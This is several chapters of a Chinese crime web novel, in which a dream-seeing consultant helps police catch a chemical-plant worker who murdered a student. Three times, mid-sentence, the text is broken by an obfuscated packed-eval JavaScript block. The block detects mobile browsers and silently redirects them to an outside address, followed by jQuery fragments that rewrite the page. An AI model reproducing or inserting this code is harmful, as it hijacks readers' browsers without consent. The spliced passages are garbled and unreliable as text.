第二天早晨,江林夕站在市公安局的门口看了眼乌云密布的天空,抬手将额前掉落的碎发向后捋了捋,深吸一口气,鼓起勇气走了进去。昨晚又是一个不眠夜,她的眼底依旧带着浓重的青黑,脸色惨白。
江林夕被昨天送她回家的女警引到一间小会议室,而非昨天的审讯室。
江林夕刚落座没几分钟,秦朗很快就推门进来。他看起来有些疲惫,但神色清明,手里还拿着一个文件夹。
“早,江小姐。”他拉开椅子在江林夕对面坐下。
“秦警官早。”江林夕略感不安的低声回应,双手规规矩矩放在膝盖上一动不动。
秦朗也没有绕圈子,直接打开文件夹,推到她的面前,里面是一份内容特殊的文件《特别协助调查保密协议与工作说明》。
“经过局里慎重决定,”秦朗满含笑意看向江林夕,目光坦诚而真挚:“我们诚挚邀请你,江林夕以特别技术顾问的身份,协助警方侦办相关案件。”
江林夕瞬间愣住,眼睛微微睁大,难以置信的看着眼前的那份文件,又看向秦朗:“我?特别技术顾问?”
秦朗指了指协议上的最上面的条款大概解释:“你的能力是保密的,只会在极小范围内知晓。”接着食指又往下划去:“你的职责是详细重现梦中所获得的受害者所有的信息,所有信息仅作为侦察线索参考,最终定案还是依靠法定证据。”
真的假的?
“……”江林夕嘴巴一张一合,却发不出声音来,秦朗说的话每个字她都懂,但是她现在完全没有办法理解,究竟自己怎么从一个犯罪嫌疑人变成警方的特别技术顾问的?等等,顾问算有编制了吧?应该有工资和补贴吧?
“江小姐,”秦朗的声音平稳,带着令人信服的腔调:“我们需要你的帮助,当然,这完全是属于自愿的,并且我们也会确保你的人生安全。我个人也很希望你可以接受这个特别的职业身份,不是为了我们,而是为了所有的受害者找回最后的公平,让所有的行凶者付出应有的代价。”
“我……”
就在这个时候,会议室的门被推开了,昨天审讯的年轻警官小陈拿着资料走进来,恰好听到秦朗说的话,脸上立刻浮现出毫不掩饰的抵触和不满。
“秦队!”小陈忍不住开口,声音充满压制不住的不满:“这不符合程序!我们办案讲的是证据!怎么能靠、靠……”他瞥了眼苍白瘦弱的江林夕,把做梦两个字硬生生地咽了回去,但眼神里的质疑没有消散。
“靠什么?”秦朗转过头,看向小陈,语气带着压迫力:“靠她指出的我们一直没有没有找到的张心蝶下落吗?靠她提供发现的现场勘验证实的线索吗?陈警官,如果你可以找到这些明确的指向性线索,现在就拿出来!”
小陈被噎得说不出话,脸涨得通红,只能不甘的闭上嘴,但眼里的不服还是肉眼可见,会议室的气氛一时间有些尴尬。
江林夕看到这一幕,又不自觉的扣起了指甲,这气氛也太尴尬了吧,自己现在提补贴什么的是不是不太合适?
秦朗无奈地叹口气,生拉硬拽地把小陈警官拉到旁边的椅子上,语气放缓安抚道:“陈锐明,你先坐下,好好沟通。”接着他望向江林夕,满含歉意:“抱歉,无论如何我都希望你可以好好考虑一下。”
江林夕深吸一口气,鼓起勇气回答:“我已经考虑好了!刚刚我就准备回答你,我愿意接受这份特别的职业身份。”
是的,她早就决定了,在秦朗说出找回最后的公平和付出应有的代价时,就已经决定接受了。
她的眼前闪过照片上明亮笑容地女孩,还有馄饨摊前佝偻着背影地张阿姨,对她来说这不是一份工作,而是还给这些痛苦的受害者公平唯一的渠道,她根本就没有办法拒绝。
但有些事,还是得问清楚。
“秦警官,”她抬起头,目光认真,“既然是以特别顾问身份正式协助办案,那我有个很实际的问题。”
秦朗似乎有些意外,但还是点头:“请说。”
江林夕深吸了一口气,问出了心底最深沉最痛苦的问题:
“有工资吗?!”
她顿了顿,看着秦朗微微怔住的表情,继续清晰地说道:“平常的路费车费,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536642|186587||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
能报销吗?有五险一金吗?还有,这种持续性的精神创伤,应该有额外的补贴吧?”
会议室里瞬间安静了一秒,连旁边气鼓鼓的陈锐明都愣住了,表情古怪地看着她。
秦朗显然没料到江林夕要问的是这个,那张惯常冷静的脸上,第一次出现了意料之外的神色。他轻咳一声:“这个身份是特殊临时聘请,不纳入正式编制的,所以没有工资。”
什么!江林夕心下一沉,但面上不显。
随即秦朗话锋一转,解释道:“但是,相应的补贴和报销还是有的。根据实际参与案件的情况,可以申请对应的补贴和交通、餐饮等费用,实报实销。此外,考虑到这项工作的特殊性和对你造成的精神损耗,我也会尽力为你争取岗位津贴的。”
没有稳定的工资,但有补贴和报销,虽然听上去就是个临时工,但对现在的自己来说也不错了。
“我明白了。”她点了点头,不在有疑问。
听到江林夕的回答,秦朗长舒一口气,放松下来介绍道:“陈警官陈锐明,和我是负责你的核心小组成员,只有我们知晓你的能力。”
接着他将陈锐明刚刚拿过来的,临时顾问证件和一部专用加密联络手机推到江林夕面前:“这是你的证件和联络工具,24小时开机,同时,这个手机也是一个紧急求救装置。”
秦朗看着她,语气缓和却很严肃说道:“江顾问,从现在开始意味着,你正式介入了这一份危险的工作。关键时刻如果有任何问题直接按手机上的红色井号键,它将直接把你的定位发送到局里。”
江林夕抬起头,迎上秦朗地目光,郑重其事的接过属于自己身份象征地两样东西。
整个过程,一旁的陈锐明都没吭声,只是无声地抗议。
本来这种特殊行动是轮不到他一个刚毕业还在实习期的小警官,课由于之前接警审讯都有他的参与,只能顺势继续让他跟进了,只是看陈锐明现在反对的态度,秦朗只觉得自己一个头两个大,到底还是个没经历事的愣头青。
秦朗不再想自己这个令人头疼的下属,向她伸出右手,嘴角微微上扬,带着恰到好处的温暖,驱散了江林夕心里那丝不安:“江顾问,欢迎加入。”
江林夕看着秦朗伸出的右手,以及他的笑容,她深吸一口气,将自己微凉甚至有些颤抖的手,坚定的握住秦朗温暖而有力的大手中。
“谢谢,秦队。”
接着江林夕目光转向一直坐着没怎么动过的陈锐明,努力让自己的声音听起来诚恳一点:“陈警官,你担心的是对的。如果换做是我,面对这种情况我也会质疑。”
她突如其来的一句话,让陈锐明愣了一下。
江林夕走到陈锐明的面前,再度伸出右手:“我不需要你现在就相信我的能力,但我还是希望可以给我一个机会。”她的目光诚恳:“我希望我在梦中所知道的这些信息,可以帮助到别人,哪怕只有一点点。”
“请你亲自见证吧,陈警官。”她最后轻声说道,语气里多了罕见的坚定。
陈锐明听了这番话,脸上的质疑被更复杂的情绪取代,有意外、有触动,还有一丝被这份真诚堵住话语的尴尬。
陈锐明迟疑片刻,终究还是伸手回握住她的手:“好,我会亲眼看着。”
一直没说话的秦朗看向江林夕,眼底深处掠过一丝不易察觉的赞赏。他走到两人身旁,满含笑意:“既然达成共识,那就开始工作吧。”
“张心蝶的案子还在等我们呢。”
5. 消失的蝶影(上)
夜色深沉,市局公安大楼的灯火大多已经熄灭了,唯有江林夕他们呆的小会议室依旧灯火通明,桌子上铺满了关于张心蝶案件的照片和散乱的资料。
空气里弥漫着醇厚的咖啡香气,江林夕专心的搅动着咖啡里的牛奶,一直到咖啡的颜色已经完全看不出原有的色彩才松手。她喝了一口咖啡,奶味浓的几乎盖住了咖啡原有的味道,丝滑香甜,江林夕心满意足的叹了口气,果然牛奶才是最棒的!然后把装有咖啡,或者不如说是装有牛奶的杯子放回桌旁。
没两口就把咖啡一口气全喝完的陈锐明,也没尝出什么味来,舔了舔唇:“谢谢秦队请的咖啡。”
秦朗点点头,也没动自己那杯咖啡,只是看了眼江林夕的动作,发现她也休息的差不多了,说道:“继续吧。”
说完他们一起看向会议室白板上用红笔写着的线索:刺激性混合异味(烟味?廉价香水味?奇怪的酸味?金属味?)、右前臂划伤、厚重地鞋印、受害者美甲上未知男性地DNA。
秦朗站到白板前,食指无意识地抵住下巴,目光在白板的所有线索上扫视,逐渐看向“异味”这条线索:“气味是关键,烟味常见,香水味也很常见,但是酸味和金属味?这些混合在一起就太不常见了。”
“会不会是想用香味掩盖住自己身上的异味?”江林夕接过话,设身处地的想了下:“如果我身上有味道的话,一定也会喷一些香水掩盖,毕竟香水的发明不就是西方为了遮盖异味的吗。只不过这个人不太会挑选,所以特别的刺鼻廉价。”
说完江林夕闭上眼睛,努力回想梦中的味道:“他身上酸味特别刺鼻……好像有点生锈、腐烂的味道……说不太出来。”
“化工品!”听到这一直用笔记本电脑记录的陈锐明脱口而出:“尤其是硫化物、某些酸类,那种味道沾上人体一般的肥皂洗发水根本没用。厂里的有些工人会用味道更浓的东西,比如说风油精、花露水,或者劣质的香水来掩盖!”
秦朗随着陈锐明的话语,思绪飞速旋转:“化工厂、电镀厂、特殊的垃圾处理站。”
随后他的视线转向白板上的“鞋印”喃喃自语:“如果是在化工厂就说得通了,工人们穿的劳保鞋需要防腐蚀、防水、防静电,一般会做的比普通鞋子要更加的厚重。”
陈锐明手指在电脑上飞速的敲击着,没有想到真的在屏幕上看到上面显示,枫叶山下就有市里最大的化工厂。他有点不敢相信地瞟了眼江林夕,发现她正认真的在自己的笔记本上写写画画。
放下笔的江林夕又说道:“在梦里我,也就是张心蝶指甲刮过凶手右前臂的时候,那个位置特别的粗糙。”
秦朗在白板上写上“粗糙”两个字,略微思索:“长期干体力工作者,尤其是某些特殊工种,胳膊上很有可能会有老茧、疤痕之类。又或者是工作服的袖口磨损严重,甚至沾上某些工业涂料,金属碎片之类的,摸起来也会特别粗糙。”
看着眼前这一条条线索,很显然排查方向已经出现在众人眼前!
“小陈,你以安全身体检查的名义,调查枫叶山下化工厂员工,重点观察右手臂有伤痕的,每个员工都采血保留。”秦朗顿了顿,补充道:“一定要看清每个人的右手臂,员工比较多,对比DNA样本肯定不够,必须前期把人筛选出来。”
思考一番,接着他拿起手机,拨打过去:“李叔,你带一队人,走访一下枫叶山下化工厂周边的住户和小店,打听有没有身上有异味、最近右手手臂受伤的人,不限于工厂员工。”
-----------------
刑警队迅速行动起来,大规模的排查低调展开,秦朗坐镇指挥,他眉头紧锁脑子里想着:现在需要耐心的排查和一点运气了。
时间一分一秒过去,排查化工厂的陈锐明那边传来消息:厂里男性工人差不多有七八十个,有几个身上有味的,但是手臂上有明显伤口的一个都没有。
转眼调查似乎陷入了僵局,秦朗看向因为疲惫趴在桌子上浅眠的江林夕,心里有些自我怀疑是不是错了,想法刚冒出来他立即摇摇头,他信自己,也信她。
随后他把会议室里空调温度调高,身上穿的外套也披在江林夕的身上。
就在秦朗考虑是否调整调查方向的时候,李叔那边传来一个关键讯息。
“周边住户排查了一圈也没右手臂受伤的人。”李叔的声音从电话里传来,带着疲惫:“但跟一个工厂后门附近摆摊卖早点包子的大妈闲聊的时候,她提了句看废料池的老张,前几天买包子的时候被野猫挠了,胳膊见血了。我还特地记了全名,叫张保富。”
“张保富?”秦朗重复着这个名字,手指在工厂人员档案册上快速划过,却发现没有看到这个人的档案。
挂断李叔电话的秦朗直接拨打了,还在化工厂陈锐明的电话:“查一下化工厂叫做张保富的工人,工厂里的人员档案册里没有。”隐约可以听到电话里陈锐明回答:“是。”
-----------------
陈锐明直接找到副厂长,单刀直入地说:“张保富也是你们厂里的?为什么没有他的人员名单?”
“张保富啊,最近厂里效益不太好,第一批裁员就有他,名单上肯定没他,不过他这段时间还住在后面的员工宿舍。”
“他在厂里负责什么?人怎么样?手臂上有没有伤痕?”陈锐明立刻追问。
“老工人了,人挺闷的,不合群。”说着副厂长拿了根烟给自己点上,深吸一口:“不介意吧?烟瘾犯了,太想这口了。”
陈锐明皱了皱眉也没阻止:“你继续。”
“他那个岗位,就是个看废料池的,他长年都和最脏的废水废料打交道,身上味儿大的很,还天天喜欢往自己身上喷香水。哎哟,那个味啊,我们私下都叫他“臭鼬张”。”副厂长一脸轻蔑地又抽了口烟。
“说起来他之前还嘟囔过,说被野猫挠了,胳膊上留了个挺深的血印子,又舍不得钱去医院,到处跟人借药膏涂。我们还笑话他,废料池那边的野猫都快被熏跑了,怎么都不嫌臭还挠他。”
对上了,所有的推论都对上了!也不知道陈锐明现在心里想些什么,只见他出了副厂长办公室的门烦躁地抓了抓自己的头发,打给秦朗,把刚刚所得到的消息一字不差的都告诉了他。
“锁定目标!”秦朗下令:“小陈,控制住张
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536643|186587||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
保富,不要打草惊蛇。我会通知李叔申请搜查令,准备搜查他的宿舍和之前的工作区域。”
下完命令的秦朗想让江林夕先回家休息,准备自己赶到化工厂线索,江林夕却摇摇头:“我和你一起去。”无论如何她必须亲自见到这个人。
刚刚到达化工厂两人还没来得及站稳,就看到陈锐明急匆匆地跑过来,语气焦急:“秦队!张保富不在宿舍,和他同一个宿舍的人说,他刚刚拿了个布包出去了,神色不对劲!”
秦朗心下一沉,要跑?还是要处理证据?
“知道他可能去哪了吗?”
“宿舍的人说,他好像念叨过后山。”
后山!枫叶山!
江林夕呼吸一滞,他究竟想要干什么!
“立刻集合所有人,封锁枫叶山所有出入口,快!”秦朗对陈锐明快速说道。
-----------------
此刻的张保富神色紧张地往枫叶山上走,他手里紧紧攥着的布包,里面还放着那条银色的蝴蝶项链,以及一小瓶从工厂废料池边偷偷弄来的强酸溶剂。
前两天警察在山里到处搜查,让他越想越怕,这玩意放到自己身上就是个祸害,必须毁掉!还有那个地方,也必须再处理一下,万一在那边自己当时不小心遗漏了什么,无论如何必须再去看一眼!
谁知道到了地方,张保富被吓得魂飞魄散,埋尸体的地方被动过了!
糟了!
张保富也不管强酸溶剂的味道太大,容易引起别人的注意这件事。他咬咬牙,直接将蝴蝶项链侵入强酸溶剂中。金属接触液体立刻发出“滋滋”声,冒出白烟来。
毁了它!必须毁了它!
就在这时,一声厉声从山坡传来。
“住手!警察!”
张保富恐慌之极,下意识就想把强酸溶剂和蝴蝶项链一起扔进旁边的山沟里。但是已经晚了,数道身影已经从不同方向快速包抄上来。
秦朗一马当先冲在前面,看到了张保富手中那个正在冒烟的小瓶,以及明显被腐蚀的项链:“阻止他!销毁证据!”
张保富竟然把手上剩余的强酸溶剂泼向左侧警方包围圈,窜向了山林深处,他常年干体力活,力气极大,对山路又熟悉,一下子就窜了好远。
秦朗一枪打在张保富地左腿,陈锐明一个飞扑,牢牢抱住了张保富地左腿,张保富咆哮着挣扎,但左腿吃痛重心不稳,摔倒在地。其他警员一拥而上,死死的将他按在了泥地里。
他还在嘶吼挣扎,妄想逃出,混沌的眼里充满血丝,身上那股刺鼻难闻的味道弥漫在枫叶山的空气里。
秦朗快步上前,蹲下身,目光冰冷的看着被制伏的张保富。
“张保富,”秦朗说的每一个字都异常清晰:“你涉嫌杀害张心蝶,现在正式逮捕你。”
听到张心蝶三个字,张保富像是被抽走了所有的力气,停止了挣扎,目光空洞,嘴里无意识地念叨着:“不是我的错……她活该……”
夕阳的余晖照在枫叶山上,照在这个男人身上,他在第一片枫叶飘落时在这里埋藏了一个秘密,现在又在最后一片枫叶凋零时他在这里走向法网。
6. 消失的蝶影(下)
市局审讯室的单面玻璃后,气氛凝重。
张保富坐在里面,低着头,看不清表情,双手被铐在桌面上。他穿着那身洗的发白的蓝色工装,袖口磨得破破烂烂,附着着黑褐色的化学污渍和铁锈渣,看起来有些硬邦邦的。
秦朗、陈锐明、李安,还有特批进审讯室的江林夕,此时他们站在单面镜另一面的房间里观察着。江林夕安静地站在稍微靠后的位置,这是她自己的请求,她希望亲眼看到这个在噩梦中夺走“自己”生命的男人,得到应有的惩罚。
秦朗透过单面镜,冷静的审视观察着坐在审讯室里一直不肯说话的张保富。
四十五岁左右,体力劳动者。磨损的工装和袖口的污渍可以显示他的职业和长期贫困。内扣肩颈的坐姿和回避的眼神,以及身上那股混合着工业酸臭和廉价刺鼻的香水味,无不透露出这个人长期压抑下的自卑和愤懑。
江林夕也一脸认真的看向张保富,除了觉得他是个看起来挺普通,甚至有些畏缩的中年男人,她实在无法将这个人,和梦里那个残暴的凶手重叠起来。
“人不可貌相,”陈锐明不敢相信地感叹一句:“看上去老实巴交的,没想到能干出杀人的事。”
“看人不能看表面,小陈。”李安吐了口烟圈,平日里显温和的眼神,这时透露着锐利:“越是这种看起来老实的人,憋久了爆发起来更吓人,钻牛角尖的很。”说完,他不动声色的看了眼站在后面的江林夕,心里有些好奇。
“技术部门那边怎么说?”秦朗开口问道。
“已经抽血比对受害者美甲上残留的DNA了,结果最快也要两个小时。”李安回答:“从他宿舍里搜出几件工装,也一起送去检验了,看看有没有血迹反应。”
“嗯。”秦朗拿起对讲机:“先把他的袖子卷起来,重点检查他的右前臂。”
审讯室里的警员接到指令,上前要求张保富卷起袖子,张保富身体瞬间僵硬,但还是动作迟缓的照做起来。
当他的右前臂裸露出来的时候,单向玻璃另一面的众人同时屏住了呼吸。
一道清晰可见的伤疤裸露出来,从他的手腕上方一直延伸到小臂中部,因为没有得到良好的医治,伤口显得格外狰狞。
陈锐明抱着胳膊的双手也不知不觉放了下来,他下意识地回头看了眼江林夕,神色复杂,而江林夕被看的有些莫名其妙,还偷偷瞅了眼自己身上有没有什么不对。
“问他伤从哪来的。”秦朗继续对着对讲机说道。
审讯室里,警员按照秦朗的吩咐继续询问。
张保富低着头,声音含糊不清:“野…野猫挠的。”
“哪里的野猫?什么时候?具体点!”警员重重的拍了一下桌子追问道。
张保富哆嗦了一下,眼神闪烁颤抖继续回答:“就厂后面…前几天吧。”
这个回答,和厂里副经理说法倒是一致,可惜太假了。
“还撒谎!张心蝶的项链怎么在你这边?还拘捕!从实交代!”
张保富这时候再次闭上嘴巴,一言不发,选择用沉默做最后的抵抗。
“装死有什么用!”看到这一幕,陈锐明忍不住低骂了一句。
……
时间一分一秒过去,等待化验结果的两个小时格外漫长,期间张保富一句话都没说。
江林夕靠着墙看到其他几人死死盯着审讯室里的张保富,一动不动,想着做一些自己力所能及的事,然后从旁边柜子拿了几瓶矿泉水,递给众人:“休息一下吧。”
终于,技术部门的警员拿着一份报告打开门快步走来众人面前,脸上还带着肉眼可见的兴奋。
“秦队!比上了!”警员激动的说道:“犯罪嫌疑张保富血液样本和受害者张心蝶美甲残留的DNA完全吻合!”
陈锐明长长舒了口气,露出一副“果然如此”的表情说:“成了!”
李安瞧了眼他这副模样,忍不住教育道:“干什么呢,光是证据有什么用,想定死还是得要口供。”
江林夕听了有些不太理解,没忍住插嘴问了一句:“为什么光有证据不行?”
手上拿着报告的秦朗,简单确定了下上面写的结果,就听到江林夕的疑问回复道:“简单来说,证据是“发生了什么”,口供是“为什么以及如何发生”。光有结果,没有动机和具体过程,在法律上就存在“合理怀疑”的漏洞。而想把一个案子定死,要的不是百分之九十九的可能,而是排除一切疑问。让他亲口承认,是堵上最后最后一个漏洞的唯一办法。”
“原来如此。”江林夕点点头,没想到办案有了证据还不行,必须还要口供,学到了、学到了。
秦朗拿起对讲机对里面警员示意换人,然后又对李安说道:“李叔,我们两个进去吧。”
李安干脆利落的应了声,又一次回头对陈锐明叮嘱:“好好看!学着点。”
“知道了,师父。”陈锐明回应。
-----------------
审讯室内,灯光惨白,张保富佝偻着身子依旧一句话不说。
秦朗没有立刻发问,只是将一叠现场照片放到他面前。最上面一张,正是张心蝶尸体的特写,她躺在泥泞的枫叶山的地上。
张保富眼皮剧烈的跳动,呼吸骤然加粗,死死低着头,不敢看面前的照片。
“张保富,”秦朗开口,声音不高,却让心虚的张保富更加心慌:“认识她吗?”
“不、不认识!”张保富不住的摇头。
“不认识?”秦朗又拿起另外一张照片,照片上是枫叶山的一款空地,空地里有个特别显眼的一个横倒的枫叶树。“那这个地方,你总该认识吧。”
张保富身体开始微微发抖:“不认识!”
“不认识?”秦朗厉色喝道:“你在化工厂都呆了二十几年了,你跟我说你不认识后山?!”
李安适时接话,语调平和:“老张啊,咱们都是干活的人。我知道,你都干了二十多年了,厂里说裁就把你裁了,心里有火,有委屈,很正常。但你把火撒在一个不认识的小姑娘身上,那就不叫委屈了,那叫造孽啊。”
“我没有!你胡说!”张保富猛地抬头,眼球布满血丝,剧烈反抗道。
“没有?”秦朗等的就是他这一瞬间的失控,“啪”的一声,秦朗将那份DNA比对报告拍到张保富面前桌子上,手指重重点在结果那栏:“那你告诉我,为什么你的皮肤组织和血液,会出现在死者张心蝶的美甲缝里!”
张保富这时如遭雷劈,彻底呆住了,眼睛死死盯着那份报告结果,嘴唇哆嗦着,却发不一点声音来。刚刚那点虚张声势的火气,瞬间被碾个粉碎。
“还有你胳膊上的伤!”李安语气加重:“野猫挠的?什么样的猫能挠成这样,你当我们是傻子吗?!”
“我……我……”张保富被说的毫无抵抗之力,不知道该怎么回答,额头一直冒冷汗,擦都擦不过来。
秦朗也不给他喘息的机会,将腐朽到一半的蝴蝶项链照片丢在他面前:“你还记得吧,张心蝶身上的项链可是当场在你身上找到的!”
一连串的铁证
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536644|186587||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,如同重锤,一锤一锤砸碎张保富所有的心理防线。他瘫软在椅子上,胸口剧烈起伏。
张保富绝望的痛哭哀嚎:“啊……啊……”
“我就是想和她借个手机回个电话…我手机没电了…”张保富声音忽然好像很委屈:“我只是靠近了一点……我知道我身上都是废料池的味儿……洗不掉……怎么都洗不掉……”
他的情绪开始激动起来,被铐住的手猛地攥紧,手铐磕在铁桌上“砰砰”作响。
“她那个眼神!”他猛地睁大眼睛,瞳孔紧缩,像是又看到了那一刻:“她捂着鼻子往后躲!躲我就像躲一滩垃圾!和厂里那些人一样!和街上那些人一样!谁都嫌弃我!嫌我脏!嫌我臭!”
张保富声音突然拔高,充满被侮辱后的暴怒。
“我天天守着那个破池子!闻着那些毒水臭气!我为了啥?!我老婆跟人跑了!厂里现在又一脚把我踢开!我活的连条狗都不如!就连她那种小丫头片子!都敢看不起我!!”
审讯室里秦朗和李安沉默的看着,没有打断,任由他宣泄。
“那个小丫头片子穿个白裙子,脖子的项链一闪一闪,像个电视上的人一样干净漂亮……凭什么……”
“所以你就杀了她?!”秦朗声音冰冷,乘机问道。
“她活该!她不配这么干净漂亮!她嫌我脏!现在她和我一样了!哈哈哈哈哈哈!”张保富说着说着突然停下来,表情扭曲:“把项链还我!那是我的!我得留着……那是我的……”
审讯室外的江林夕看到这场景,只觉得一阵可笑,别人的璀璨人生就因为一个人的自卑和嫉妒全毁了,而且……
江林夕闭上眼睛,让自己沉浸于那场折磨她很久的噩梦,她好像看到了那一幕……
考上大学的张心蝶,穿着白色连衣裙,带着自己最喜欢的蝴蝶项链,做了美美的蝴蝶美甲,一心充满对新学期未来的憧憬。
擅长化学的她,看到靠近的张保富,立刻就闻出浓烈的化学品气味。
她后退一步,捂住鼻子,下意识的想要避开有可能的化学污染。她的脸上露出担心的神色:“叔叔,您身上的味道不对劲。您刚刚去哪了?没事吧?是不是哪里化学泄露了?快去医院检查一下,别让有毒物质沾到皮肤!”
……
审讯结束,众人散去。秦朗在办公室处理后续事宜,走到走廊尽头,看到独自一人站到窗边,失神地望着窗外,单薄的背影显得格外悲伤。
他缓步走过去,在她身边停下,没有靠太近。
“都结束了。”
江林夕没回头,只是声音很轻的重复:“都结束了……”
秦朗看着她的侧影,沉默片刻:“张心蝶的家人,”秦朗开口,语气平稳:“今天下午,张心蝶的父母和她朋友一起来拿最终通知,她母亲哭晕了好几次,但最后……她说,谢谢我们所有人,让她女儿能瞑目。”
他顿了顿,目光也投向窗外。
“我们没有办法让悲剧不发生,江林夕,谁也做不到。”他的声音很沉:“我们能做到的,也是唯一能给他们一点交代的,就是把真相挖出来,让凶手绳之于法。”
秦朗侧过头,目光落在她苍白的脸上,语气带着前所未有的肯定:“是你带我们找到了张心蝶。如果没有你,张保富可能会伤害更多的人,而张心蝶也可能会永远呆在那个暗无天日的地方。”
江林夕失神的转过头,望向秦朗没说话,眼神随着他的话语逐渐有了神彩。
语毕,秦朗对江林夕轻轻微笑说道:“走吧。”
7. 欢迎加入
或许是连日来的精神压力终于得到了放松,又或许是真相大白后获得了一丝安宁,连日里被噩梦纠缠的江林夕,难得的一夜无梦,睡了一个深沉安稳的觉。
直到午后的阳光透过窗帘的缝隙,暖洋洋的撒在脸上,她才逐渐清醒。迷迷糊糊的抱着毛茸茸的熊猫被子坐起来,神情还有些恍惚,这是自她开始做噩梦以来,睡得最满足的一觉了。
她微微地叹了口气,没想到不知不觉中,这种一觉睡到天亮的寻常小事,竟然对现在的她来说已经是个奢侈品了。
就在这时,床头正在充电的手机响了起来,屏幕上显示着“秦朗”的名字,她手忙脚乱的拔下充电器,接通了电话。
“喂?秦队。”
“是我。”秦朗的声音从手机里传来,隐约还能听到手机里其他人说话的声音,秦朗顿了顿,继续说道:“案子结了,队里的人晚上想一起简单的吃个饭,正好把你特别技术顾问的身份和大家正式介绍一下,你晚上有空吗?”
江林夕握着手机的手指微微收紧。天知道她这个社恐多害怕和不认识的人接触,现在还要吃饭,真是夭折了。
手机那头,秦朗似乎察觉到了她的迟疑,补充的说了句:“人不多,就小陈、李叔,还有之前送你回家的女警顾晴,你都见过。”
江林夕听到熟悉的名字后,小小的舒了口气,回道:“好的,秦队,我有时间的。”
“晚上六点半,市局北门对面的“玉祥记”203包厢,找不到就和我说。”交代完,秦朗便干脆利落的结束通话。
-----------------
傍晚六点半,江林夕准时出现在饭店包间门口,秦朗已经到了,正和身旁坐着的李安说着什么,见她到了,微微颔首,目光在她比平日里看上去略带血色的脸颊上停留一瞬,随后示意她进来。
陈锐明和顾晴两人也很快就到了。
顾晴是个刚毕业没几年的年轻小姑娘,扎着利落的马尾辫,看人眼睛亮晶晶的。一眼就看到之前护送回家,一路上聊的挺投缘的江林夕,热情的打了声招呼,随后直接坐到她身边的椅子。和她一起到的陈锐明则坐到了李安身边,李安依旧乐呵呵的样子,张罗着大家点菜。
秦朗把菜单先递给江林夕:“看看有什么想吃的。”
江林夕推辞不过,翻阅菜单的时候,指尖忽然一顿,心里一喜,竟然发现有自己特别爱吃的“桂花酒酿小丸子”。只是可惜了,别人做东,还是别点这种当不了菜的小吃类比较好。她又依依不舍的看了两眼,随后不好意思的点了一个蟹黄豆腐。
轮到陈锐明和顾晴,这两个年轻人就爱吃点辣口的菜,嚷嚷着点了一份水煮肉片和辣子鸡,李安则点了个招牌红烧肉还有两个下酒菜。
秦朗听完众人七嘴八舌的点单,目光掠过江林夕。他合上菜单,对服务员笑了笑:“加道汤,嗯,还有清蒸鱼和清炒时蔬。”他的语气自然,最后像是忽然想起什么似的补充了句:“听说桂花酒酿小丸子不错,加一个当甜点,大家都尝尝。”
听到“桂花酒酿小丸子”这几个字,江林夕的眼睛瞬间就亮了。
菜上的很快,每道菜都看上去鲜香扑鼻,尤其是那道红油滚滚的水煮肉片和炸的外焦里嫩的辣子鸡,看的江林夕直咽口水。她都已经记不清上次到饭店吃大餐是什么时候了。自从失业,每一顿饭都得精打细算,现在眼前这桌饭菜简直就像在做梦,苍天呐,谢谢你给我这份工作。
酒过三巡,大家也熟络起来。
几杯下肚的陈锐明脸色有些泛红,他突然端起杯子,站起身来,目光有些不好意思地看向江林夕。
“江顾问。”陈锐明诚心诚意地说道:“这杯我敬你,也得和你道个歉,之前是我眼皮子浅,说话不过脑子,你别往心里去!我干了!”说完,他仰头一口气把杯里的酒都喝了。
李安和顾晴看的一脸迷茫,陈锐明怎么得罪江林夕了?等等,还有江顾问是什么意思?
不明所以的李安心里对自己这个徒弟个性是知道的,无奈的叹了口气,还是笑着打圆场:“哎呀,小陈这个臭小子就是心直口快,脑子跟着嘴巴跑,有什么得罪见谅啊。
而江林夕被这突如其来的道歉弄得手足无措,连忙端起自己杯子站起来,回应:“陈警官,你别这样,我、我没放在心上,不用道歉。”
顾晴眨巴眨巴眼睛,满脸好奇的在江林夕和陈锐明两人之间看来看去,疑惑问道:“陈锐明,你干什么了?怎么得罪林夕了?”
“不提也罢。”陈锐明一抹嘴,语气带着由衷的佩服:“师父,顾晴,你们是不知道!这次破案,江顾问可是立了大功的,全靠她的关键线索……咳,反正就是神了。”
陈锐明虽然喝的有点上头了,但还是记得保密纪律,没敢多说什么。
秦朗实时开口:“局里已经正式聘请江林夕同志,正式成为我们小队的特别技术顾问。今天这顿饭,既是庆功,也是欢迎江顾问的加入。”
“特别技术顾问?”顾晴惊讶地轻呼。
李安虽然心里也疑惑,但见他们这个态度,心里也大概知道肯定有什么不能说的,也就没追问什么,笑着示意众人举杯:“欢迎欢迎!江顾问,以后多关照。”
